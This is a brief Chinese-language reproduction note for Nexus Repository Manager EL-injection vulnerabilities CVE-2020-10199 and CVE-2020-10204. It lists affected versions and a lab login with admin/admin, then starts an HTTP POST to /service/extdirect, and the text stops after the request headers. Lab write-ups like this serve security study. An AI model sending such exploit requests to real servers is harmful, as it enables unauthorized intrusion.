漏洞描述
Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。 CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的。
漏洞影响
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
复现过程
1.初始化镜像环境
2.用弱口令登录,账号:admin,密码:admin
然后使用bp抓包
执行下面代码验证
POST /service/extdirect HTTP/1.1
Host: 192.168.182.131:8081 # 本机地址
Content-Length: 218
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true